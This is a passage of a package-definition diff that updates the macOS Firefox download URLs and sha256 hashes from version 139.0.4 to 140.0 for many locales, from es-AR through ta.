"https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-AR/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-AR/Firefox%20140.0.dmg"; locale = "es-AR"; arch = "mac"; - sha256 = "6280d5f556981cbd48cd7912383c2e5a6640c88b7a6392b3be5a4c34d52ec8ca"; + sha256 = "5bb2ce2e1c741bdd53d32d8d0e666be002ff72078f62c781ea9ffd867cbf55cc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-CL/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-CL/Firefox%20140.0.dmg"; locale = "es-CL"; arch = "mac"; - sha256 = "1566a7f4c80ad0c8b6ad6e05aafa7c8913fdd66c0a43951e409c9e56a1e4e461"; + sha256 = "3f8448679f63ac70cdc8cf74329eb32209470f582ba972dbf8eafded58a1b990"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-ES/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-ES/Firefox%20140.0.dmg"; locale = "es-ES"; arch = "mac"; - sha256 = "e7fbd059301ab812c1e6ff7c697eaec507618729992fbd8bf6ec5bceefa497b8"; + sha256 = "2d92be4ea56616fcb9bc3b83609da630891f949e4398e39b540efb6d5c429afb"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-MX/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-MX/Firefox%20140.0.dmg"; locale = "es-MX"; arch = "mac"; - sha256 = "1fe5aef83bd5e06dc90c199a30e6eba1ff4091526943db986f3c84537f0ebed3"; + sha256 = "afe92b90c9d5d7ca95e788f7992a72e78f5096d2762d0a18f3df44a140409e9f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/et/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/et/Firefox%20140.0.dmg"; locale = "et"; arch = "mac"; - sha256 = "4b144faa4612ae94a859e35f3eebecb1d1b9211620910532fd1a870abc7ec420"; + sha256 = "90300ad0c7ac283bf23daae74b55464ff645038d094b80072a194086e0273b38"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/eu/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/eu/Firefox%20140.0.dmg"; locale = "eu"; arch = "mac"; - sha256 = "432c0021630a9b4a968ef7125abfc3dfbf9730b3ff79889e2f777150a0c3827d"; + sha256 = "c79e912bf1aa390c9fa61380071ee626aeee46c11652d1f4a34e5ee7f8bced19"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fa/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fa/Firefox%20140.0.dmg"; locale = "fa"; arch = "mac"; - sha256 = "0263b2636e2b0e031b90d880a1a1cefa62bbddfce62caf7f32998ddaa6c11c6b"; + sha256 = "3e125c1b0556dae79500077697db9233f0ab0a557e3e8050b71e7595083a0b6e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ff/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ff/Firefox%20140.0.dmg"; locale = "ff"; arch = "mac"; - sha256 = "12772b28d793b9b799be5b53c3ec4a1536bbb024876e4e1a79ced06ba239fa82"; + sha256 = "25a37789f3e344c38562cef738aeb3e2438768ab0c4dabdb61f992bab0807f95"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fi/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fi/Firefox%20140.0.dmg"; locale = "fi"; arch = "mac"; - sha256 = "f92075580647bb4e1c1a6e5bb9d2d6a6070d3b25133af4f19af83264e1600f52"; + sha256 = "2b3edc6c4d891e92325c752623d508f021a67583d25ec9a6e430c4a26f7f0766"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fr/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fr/Firefox%20140.0.dmg"; locale = "fr"; arch = "mac"; - sha256 = "90504a396e4a4026872c12af19dfd19bb1d97b1d8968ea2ad9873fc4f2dda276"; + sha256 = "523f5f7899db0f58f1a196905b263b0daf4e891d51a52609004a5437f37040a1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fur/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fur/Firefox%20140.0.dmg"; locale = "fur"; arch = "mac"; - sha256 = "0cd66ee8c58052f27e0b13856c6338a1b63c413c9102f736571f7940958675af"; + sha256 = "928732daa3c5a83ba33cc061c806f09d8332be15924272da83ebcb274ab1280c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fy-NL/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fy-NL/Firefox%20140.0.dmg"; locale = "fy-NL"; arch = "mac"; - sha256 = "0cd10570538578e18e02c7b51e8460d840354bd06e28861daae67cf9e49b0f79"; + sha256 = "251b2879f978907869cb6aee9327b9c389102113e19886d063077c44a3494257"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ga-IE/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ga-IE/Firefox%20140.0.dmg"; locale = "ga-IE"; arch = "mac"; - sha256 = "87aa41740c0295b335c87c425734e24167dd8f1503ba1f04dcc37fff48122dc4"; + sha256 = "be910f034ff43b789ac04b50c773903a3e18164a9cc8c5adefafc26eb6a332ca"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gd/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gd/Firefox%20140.0.dmg"; locale = "gd"; arch = "mac"; - sha256 = "83de5db2482bd10a915c9a68bac65e9a9e363e6cd1dd1e21ee04591db0a5ef1b"; + sha256 = "c988d72107512c162591b9ad6c1c0b4e422b221639027b2906c96375c74e6f5e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gl/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gl/Firefox%20140.0.dmg"; locale = "gl"; arch = "mac"; - sha256 = "a0134ebb1dcacd91c5f25565e4b2c2bedae7318e8528f0965bf28583e7c1dd8d"; + sha256 = "5e9620dbdcd068b08415f6f1e5c831757facdc028af20cc32c3fcaa316bedab0"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gn/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gn/Firefox%20140.0.dmg"; locale = "gn"; arch = "mac"; - sha256 = "d54c02566b8ae14d22351b00e34235a8d523a29db858c349e6b045acf581b9de"; + sha256 = "85368c393310707d0d0c3679247e45ffd03b8e5ee902483e2fb047517a913859"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gu-IN/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gu-IN/Firefox%20140.0.dmg"; locale = "gu-IN"; arch = "mac"; - sha256 = "abfdc34b558c160e0e0404103057caf0235bf011f3f8950dbf2e30d106a9d6ee"; + sha256 = "56b987c8c2e12f7b36ea4eb32c90c60b196b3caea031b5c204cd17dea794604d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/he/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/he/Firefox%20140.0.dmg"; locale = "he"; arch = "mac"; - sha256 = "4178f39bd52b4971ad3a7aae51291b716ad777df1566aaf14637881d8f654d47"; + sha256 = "f65fad05cc857d849c41a2e937b1a7d8fd8f2bf2eb6e07a9bce16d169a891926"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hi-IN/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hi-IN/Firefox%20140.0.dmg"; locale = "hi-IN"; arch = "mac"; - sha256 = "0d78e61fb3fb8947dd96e7284fd4f74710c8fc61d7701755c0e266b2093f21de"; + sha256 = "6c8c3d3d34402df266a8183886a60a94ccb20264e4f43459f8ec7e94dd57360e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hr/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hr/Firefox%20140.0.dmg"; locale = "hr"; arch = "mac"; - sha256 = "5ea7cdbc8fd8dc992584a5d869fa5006d1c1f8c62d033933579bd732e42bee4e"; + sha256 = "12e19f3180add0643543cdf16fb8e1ee2775f1e9ac671a2b9802da0abcfa6b0a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hsb/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hsb/Firefox%20140.0.dmg"; locale = "hsb"; arch = "mac"; - sha256 = "96c9aaf1b9b176674889e777cfc12632ed9db3a68faec70444f488aee633811c"; + sha256 = "3db483ade515fb66ef1f7d7e401ef36a930da49605c86dd24b5fb389ccfb9227"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hu/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hu/Firefox%20140.0.dmg"; locale = "hu"; arch = "mac"; - sha256 = "257410ceb23e6e83499ef28b31876394b7b048b83034f09ead3f11be96d34fd3"; + sha256 = "77785cce6ea6c618e7a3211dba42381ffc2bd87732f967cf9954169fb407772b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hy-AM/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hy-AM/Firefox%20140.0.dmg"; locale = "hy-AM"; arch = "mac"; - sha256 = "406d8e063c5cc1ec425884a93142f6e830683634cbdbbf19a9768f9685d12b55"; + sha256 = "c12471fa3da0b938772c37f3fda4c41e4bb3934bb65521402dd51520641eaa63"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ia/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ia/Firefox%20140.0.dmg"; locale = "ia"; arch = "mac"; - sha256 = "df4608b82381b51c41151e00cb008b8a015a0718d03f18a09b25732e6f5a11ba"; + sha256 = "b0b26e915a1e090da09655808506755e7b69b200084678980bc4d43d68207905"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/id/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/id/Firefox%20140.0.dmg"; locale = "id"; arch = "mac"; - sha256 = "a4aaa52e496b42e9327e9f45f03cf5a7561636abb797b032dfa0c3d675b8146e"; + sha256 = "83d16b2f15a51a1c7a8196b16236a0f1f7e72ba62a157a9d570760fd02c5db35"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/is/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/is/Firefox%20140.0.dmg"; locale = "is"; arch = "mac"; - sha256 = "8cc6b1e260b44c61400a925cbdbb966d0a902f0e41e16385662b1985abdcd795"; + sha256 = "e25dde9001d5236d644a4e2ec2a9ecbc049ab8552d07884583557966ffb581c2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/it/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/it/Firefox%20140.0.dmg"; locale = "it"; arch = "mac"; - sha256 = "c682480079c6e4f620b6b8b284dbbdbd207252b73d04fbdba8288c9a866c59c1"; + sha256 = "ff7417875f4b5c61b7857f30c55803a2e977d16f51af03259e4161848f393df3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ja-JP-mac/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ja-JP-mac/Firefox%20140.0.dmg"; locale = "ja-JP-mac"; arch = "mac"; - sha256 = "c18ba704027225ef0242f26f67c36a7041d1ec3046144d7ca2e966810297f093"; + sha256 = "767aa8ee404a3ac4b9be5f89f630d55ccd85a743d432b7e2bce0bbbb46c27c61"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ka/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ka/Firefox%20140.0.dmg"; locale = "ka"; arch = "mac"; - sha256 = "b2c1676fc61153bedd3f3982f1c4060af14bc38817bba726e6bcb2c09db64546"; + sha256 = "4395b5cc101e85a3f9c7fa4b9ede792a758ea5f24d91f7a8e7af1ff9105f83fc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kab/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kab/Firefox%20140.0.dmg"; locale = "kab"; arch = "mac"; - sha256 = "f1554093d387fe1594dd18809ac8389afc8cff6825776b63b1a767829ee1654c"; + sha256 = "fb615390c7e8c890096c7eb230e4862bbf3f4ad37e5ca791acdb276049086420"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kk/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kk/Firefox%20140.0.dmg"; locale = "kk"; arch = "mac"; - sha256 = "25638b911edf9f048e1cb572fade0859717a534706dc47209ddc1c51dc0922a2"; + sha256 = "74d44581a25c2e30597a99a279d3e37d544f170b48debf8ca765e399b2286690"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/km/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/km/Firefox%20140.0.dmg"; locale = "km"; arch = "mac"; - sha256 = "3faa1af1ca8f0bb154e5869b89d9917b20bd8412cf04949395d9da43a852329c"; + sha256 = "c728746ff9d57247451ec5a494d6a0925da59c2c052500472ffdd8c3e52cabc1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kn/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kn/Firefox%20140.0.dmg"; locale = "kn"; arch = "mac"; - sha256 = "335fb5839de6fc6920291279dc6b8818b793337e1d8638f9cf157578da0c0dec"; + sha256 = "00e42306ed4eb34a1015bd851f146f324148531e3d634d1faecff6b1f7b696bc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ko/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ko/Firefox%20140.0.dmg"; locale = "ko"; arch = "mac"; - sha256 = "3128c4737cd097eecfa21726ad83e66980b3d3b5f45048db0b855fa8991df9c4"; + sha256 = "7bead55e834069698c72c22de573406c8177fb27a1f6174a34813295efe3aca5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lij/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lij/Firefox%20140.0.dmg"; locale = "lij"; arch = "mac"; - sha256 = "6f7f425011d071dca7df6fe90e7fc92b60dbc4e1f1d370d5dbf2b6ddaab3ecc7"; + sha256 = "02bbbfc3904758ad5dc3abc0c02d94a5f6c3e82fed504dd1d9fb415fb2096aa2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lt/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lt/Firefox%20140.0.dmg"; locale = "lt"; arch = "mac"; - sha256 = "7b8e7547f8c00067ddbf3d241464dcf5badbc243165d106e19397908f2f2aeaf"; + sha256 = "b9d6135116d665564fa405de90ea33f3b730c9c6296c5e7210bfff720ffac031"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lv/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lv/Firefox%20140.0.dmg"; locale = "lv"; arch = "mac"; - sha256 = "a302243b62092df91c71b599bc2163276eca95902cce0601cc078d0566bf8fd4"; + sha256 = "47fc8e61bd3b7af1bfeee046a96038fcf6e066231787051281a5fc477052ec65"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/mk/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/mk/Firefox%20140.0.dmg"; locale = "mk"; arch = "mac"; - sha256 = "86204f6459eb1b2911ba33b14ddcc980b00d6c594991ac3c2761abbe5565c0e3"; + sha256 = "aa28371d9f707869af43f1973e3b91c24840a0ef9cab4e2b86a0f21d3bc66941"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/mr/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/mr/Firefox%20140.0.dmg"; locale = "mr"; arch = "mac"; - sha256 = "561d755efb2679d4633d05179e5f40b1fe248152ca4761b16ea4fc22d1e22563"; + sha256 = "93b81363da4279e55c1adbbdc92bb4925259f7ff5b62af8864bd083bb7d63e0f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ms/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ms/Firefox%20140.0.dmg"; locale = "ms"; arch = "mac"; - sha256 = "bb141b43428f737e2ba51684db29227e0cae38dfd1b10179e39f362c95bbd25e"; + sha256 = "0d364950485cabcd358fe5d8e35fbbbf84894bb5d70c1e5deaa2e4790e892a8e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/my/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/my/Firefox%20140.0.dmg"; locale = "my"; arch = "mac"; - sha256 = "e7de2a6cdcd380a320a25a7af7c55e672f3663e23a083c5b8f9ddf976406fba3"; + sha256 = "b8b0f6c1fc3329a186dae0cc27b7852e3aacc8dcaac6b7e11ffe24973485e687"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nb-NO/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nb-NO/Firefox%20140.0.dmg"; locale = "nb-NO"; arch = "mac"; - sha256 = "2820e7fe079d6380ab0b17694bf3c92e9d170e2ed7409385d88bb4c2938dd0fa"; + sha256 = "a0a7cdd84ede13ab5e333177fdd0e0abb2fc53c065667d9401dd394bc88dacd6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ne-NP/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ne-NP/Firefox%20140.0.dmg"; locale = "ne-NP"; arch = "mac"; - sha256 = "fee6597075f76447647e946ae07a6d52befe6503bdaeba811d5b1c91064f9bc7"; + sha256 = "0a02f26ba81ece40b45ec87879e5ac797adc36a74d3d850a439259e97f69c8b3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nl/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nl/Firefox%20140.0.dmg"; locale = "nl"; arch = "mac"; - sha256 = "77990db73258c0d0154bb60a231673953ee1764aea5b74594ab2c53b4a842549"; + sha256 = "fe605c4f24d30adb984f9d466427064996665fc46d93fda121cb475249de51a6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nn-NO/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nn-NO/Firefox%20140.0.dmg"; locale = "nn-NO"; arch = "mac"; - sha256 = "989109b352cea0a86d940d740511e87f0df7647a92d13553b08547802938a199"; + sha256 = "9c9f431f5c95e036bd77c8bd3cc91f78cf949812e361ec77ab5de29cb4454985"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/oc/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/oc/Firefox%20140.0.dmg"; locale = "oc"; arch = "mac"; - sha256 = "723ce4b024b3122fb9540191dff60c13439b02e464f55263448a25af3d62c3e8"; + sha256 = "2ff26c27720dd961b9d42b52dd1eb9bb366b525b682bd01e7028320183375daa"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pa-IN/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pa-IN/Firefox%20140.0.dmg"; locale = "pa-IN"; arch = "mac"; - sha256 = "0e3f52eff557e2f932808ebed3f945410d77cea2f464597ebf5ae8633a40850e"; + sha256 = "844be22b0a8405895c7023f17a876dc795378510129dd85aa1316e9836458f3a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pl/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pl/Firefox%20140.0.dmg"; locale = "pl"; arch = "mac"; - sha256 = "bc7efd404ad0d2229abc23c1f86e34666520fde23ef240f079b4858a38d0c2ae"; + sha256 = "c5607951ab65e4ef4423aac64b106b1c27a6b413761b7751304c0204323d27c5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pt-BR/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pt-BR/Firefox%20140.0.dmg"; locale = "pt-BR"; arch = "mac"; - sha256 = "2b1ebc065b613420f62889885fe80145a298af98bd0c4b5e5de30907a990d831"; + sha256 = "32a91038ea6ae1469fdbae91e67fa8d65bf4d4359dafdfbdadcbd613130eca86"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pt-PT/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pt-PT/Firefox%20140.0.dmg"; locale = "pt-PT"; arch = "mac"; - sha256 = "83cd9b7ce08cdbe9c5b2e6ec9c08fe66fdbc0390c2bcdbc29afe9948896b2794"; + sha256 = "baee5014326c90d7ac41cba4862a42c44a70cdbef77627e7fc93bab1fd4ce8c4"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/rm/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/rm/Firefox%20140.0.dmg"; locale = "rm"; arch = "mac"; - sha256 = "4eb6d711138e79e9f54e9b471366f3f6597870faa1888266f9aeb11a9e99ba19"; + sha256 = "5b171e4cce7ca88d2c620dba26c9b3b2941e4e0465ea3388fec1efdf1c681ce3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ro/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ro/Firefox%20140.0.dmg"; locale = "ro"; arch = "mac"; - sha256 = "1be921022c549ba21a6fcb43dc340ac758526284ffa1b9276a8ebf035e3ad19c"; + sha256 = "e3b46ba679fae5642d634ac48112e12374458e78a463493e97afdb8b06534413"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ru/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ru/Firefox%20140.0.dmg"; locale = "ru"; arch = "mac"; - sha256 = "86d13a9741f3d4833f0396e2aa861c0752551d96834fd19fbcc702c9e2481b16"; + sha256 = "274982f5872ecfa90aec643d36e5f32d14eb0ae504597e9279f562b1eec116a0"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sat/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sat/Firefox%20140.0.dmg"; locale = "sat"; arch = "mac"; - sha256 = "f3c5804d0c67625d5a99e5eff23608717beaf501c67e3afc45aeb7c6a7e41b72"; + sha256 = "1a4e6709373fcc14da59cd88c2aed3c331d415198129cdcfbc3e2f02c2072d33"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sc/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sc/Firefox%20140.0.dmg"; locale = "sc"; arch = "mac"; - sha256 = "b72b0b375fb4c0e5219f3ca20d5341c3661399f53280fcb88284f74efb13f9e5"; + sha256 = "a3f41539a9139325f119f4cb00a212377b73d94801d2c481a174412199df63cd"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sco/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sco/Firefox%20140.0.dmg"; locale = "sco"; arch = "mac"; - sha256 = "59b7a195a106dbe0eb1f63d5bb909150be235c87a80822094a7ec5fb4f4012ba"; + sha256 = "71f55579c8ed8b3608b1ead9f2063d88936c5e7b66eb34562f4fca13ad06c255"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/si/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/si/Firefox%20140.0.dmg"; locale = "si"; arch = "mac"; - sha256 = "e5d43658711bce6ce97c5574fdb8619ace7d519ba43c5801aec6abd68af4a33c"; + sha256 = "f61f9095d9eecd80da4db323b938ee0d2a79ad2d7b6d412960ecd00484e402ba"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sk/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sk/Firefox%20140.0.dmg"; locale = "sk"; arch = "mac"; - sha256 = "6af5643493b2bf6bf4e03d872656f7adef2c776cd7c977065e88f2b3cd7b6754"; + sha256 = "7f97d6f7f331799999b40674662301dd1bc7744d1dd783f03e8bae12711f4aa2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/skr/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/skr/Firefox%20140.0.dmg"; locale = "skr"; arch = "mac"; - sha256 = "4026ae3d0eeb24e54b2d4c562fae11f186a848576fc7ffde4780f3b3e135f02e"; + sha256 = "d2840f66ad2a0281c0cf362631963ff5a99b77a39bcbc956aae3c11d1bc0bce4"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sl/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sl/Firefox%20140.0.dmg"; locale = "sl"; arch = "mac"; - sha256 = "7c3f9fe1117f43a68efdf46e245320960c3c72f64ec5e0af048736177e54326a"; + sha256 = "daf4e6a94a060f92419d9ad3474dc005a82755bfda7c15a8e174e15d78f2e8fb"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/son/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/son/Firefox%20140.0.dmg"; locale = "son"; arch = "mac"; - sha256 = "7da2f4a3dd1366bdcda44cbe9b403d2ff6730c8d924498aa5df70b0ab5d59181"; + sha256 = "e6761f721df1866d6dcb0c8fc2ef6d6f87e8cc739a30597bd4873e154b890ca0"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sq/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sq/Firefox%20140.0.dmg"; locale = "sq"; arch = "mac"; - sha256 = "8bb9038523a4c6f84ff56b5e53e7e69b3af8037070d4417b0d14b560f6e6a4b1"; + sha256 = "2ec1dee5c8552f510c847d9ff9d30e98ad6d51d44e43cc801e6bcded2339dcf8"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sr/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sr/Firefox%20140.0.dmg"; locale = "sr"; arch = "mac"; - sha256 = "a896b61f56d414820b0c133bcd07e4d47093b9b85efddd560d08ea5c1b4922ca"; + sha256 = "8a57d2bf77e497e2988afc172b0e198a115699dd90162e888a950b8be4689f8c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sv-SE/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sv-SE/Firefox%20140.0.dmg"; locale = "sv-SE"; arch = "mac"; - sha256 = "3e897ef4eb7ce809a4c372788b8e8b99aec3fdf81a401ee1641670f64d354c06"; + sha256 = "428b00960c2b5897a78265f32bfa9a065456cd674a690305173f41493ab529ab"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/szl/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/szl/Firefox%20140.0.dmg"; locale = "szl"; arch = "mac"; - sha256 = "1c7229bed317ceff4dfd6304004aa1148189019cd7241f5b5fd966f0a9a0148c"; + sha256 = "35b79dd5e1913d8c22ccb3e440c3dbc3d8170e7977893921aa28b882ae3d48b0"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ta/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ta/Firefox%20140.0.dmg"; locale = "ta"; arch = "mac"; - sha256 = "df7507990a863894ef7cfcfafd4d11747f8178c8abe37f0bd33d2c3bfde485b0"; + sha256 = "8cb9812857e15d6c755d6b0b7479b5d69fa1b1d69f4b8ec149ec8ef50d79120e"; } { - url = 